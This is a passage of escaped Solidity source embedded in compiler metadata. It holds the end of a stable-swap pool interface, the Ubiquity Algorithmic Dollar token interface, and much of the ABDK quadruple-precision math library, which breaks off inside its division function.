_receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative =\\n x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand =\\n uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX =\\n uint128(x) >= 0x80000000000000000000000000000000;\\n bool negativeY =\\n uint128(y) >= 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n }\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n (xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {return add(x, y ^ 0x80000000000000000000000000000000);}\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb =\\n xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb =\\n xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n 